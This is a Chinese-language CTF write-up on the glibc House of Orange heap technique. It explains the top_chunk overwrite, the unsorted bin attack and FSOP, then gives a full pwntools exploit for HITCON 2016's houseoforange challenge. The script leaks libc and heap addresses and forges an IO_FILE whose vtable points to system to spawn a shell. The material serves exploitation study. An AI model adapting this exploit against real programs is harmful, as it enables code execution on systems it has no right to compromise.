house of orange(欧润吉)

通过溢出修改top_chunk的size从而申请比修改后的size更大的chunk来触发sys_malloc,从而把原来的top_chunk给free掉

然后就可以泄露LIBC地址和堆地址了

unsortedbin attack 已经在新版本libc被修复了

victim = unsorted_chunks(av)->bk;  // 获取最后一个 chunk
bck = victim->bk;                 // 获取 victim 的 bk
unsorted_chunks(av)->bk = bck;    // 将 unsorted bin 的 bk 指向 victim 的 bk
bck->fd = unsorted_chunks(av);    // 关键操作:将 victim->bk->fd 设置为 unsorted bin 头 

我们可以控制最后一个chunk的bk

因为这个攻击是利用了 往 最后一个chunk 的 bk 的fd (bk+0x10)写入东西

那么只要控制bk减少0x10 就可以往我们指定的target_address 写入 main_arena+96 或者+88 (一个很大的值)

FSOP:

FSOP的核心是去篡改_IO_list_all和_chain,来劫持IO_FILE结构体。让IO_FILE结构体落在我们可控的内存上。然后在FSOP中我们使用_IO_flush_all_lockp来刷新_IO_list_all链表上的所有文件流,也就是对每个流都执行一下fflush,而fflush最终调用了vtable中的_IO_overflow

主要就是为了控制_IO_list_all 然后控制vtable 或者chain

houseoforange_hitcon_2016

from pwn import *
from LibcSearcher import *
#from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
#io = remote("node5.buuoj.cn",29087)
io = process("./orange")
e = ELF('./orange')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def bug():
    attach(io)

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
dlog     = lambda name,data         :log.success(f"get {name}=>"+hex(data))

def add():
    sla(b"Your choice : ",str(1))


def add(size,content):
    sla('Your choice : ',str(1))
    sla('Length of name :',str(size))
    sa('Name :',content)
    sla('Price of Orange:',str(1))
    sla('Color of Orange:',str(2))


def edit(size,content):
    sla('Your choice : ',str(3))
    sla('Length of name :',str(size))
    sa('Name:',content)
    sla('Price of Orange:',str(1))
    sla('Color of Orange:',str(2))


def delete(index):
    sla('4.show\n',str(2))
    sla('index:\n',str(index))
    
def show():
    sla('Your choice : ',str(2))

add(0x10,b'a')
edit(0x40,b'a'*0x10+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0xfa1)) # modify top_chunk
add(0x1000,b'a')
add(0x500,b'a') # cut the free chunk 
show()
ru('Name of house : ')
leak_main_arena = uu64(r(6))
dlog("main_arena",leak_main_arena)
libc_base = leak_main_arena -0x5e9 - 88 - 0x10 - libc.sym["__malloc_hook"]
dlog("libc_base",libc_base)
io_2_1_list_all = libc_base + libc.sym["_IO_list_all"]
system_addr = libc_base + libc.sym["system"]
dlog("list_all",io_2_1_list_all)
edit(0x10,b'a'*0x10)
show()
ru(b'a'*0x10)
leak_heap_addr = uu64(r(6))
dlog("heap_address",leak_heap_addr)
payload = b'a'*0x500 + p64(0) +p64(0x21)+b'a'*0x10
payload+=b'/bin/sh\x00'+p64(0x61)+p64(0)+p64(io_2_1_list_all-0x10)#unsorted bin attack
payload+=p64(0)+p64(1)
payload+=p64(0)*7
payload+=p64(leak_heap_addr+0x530)+p64(0)*10
payload+=p64(0)*3+p64(leak_heap_addr+0x610)+p64(system_addr)*8
edit(len(payload),payload)
#bug()
sla('Your choice : ',str(1))


io.interactive()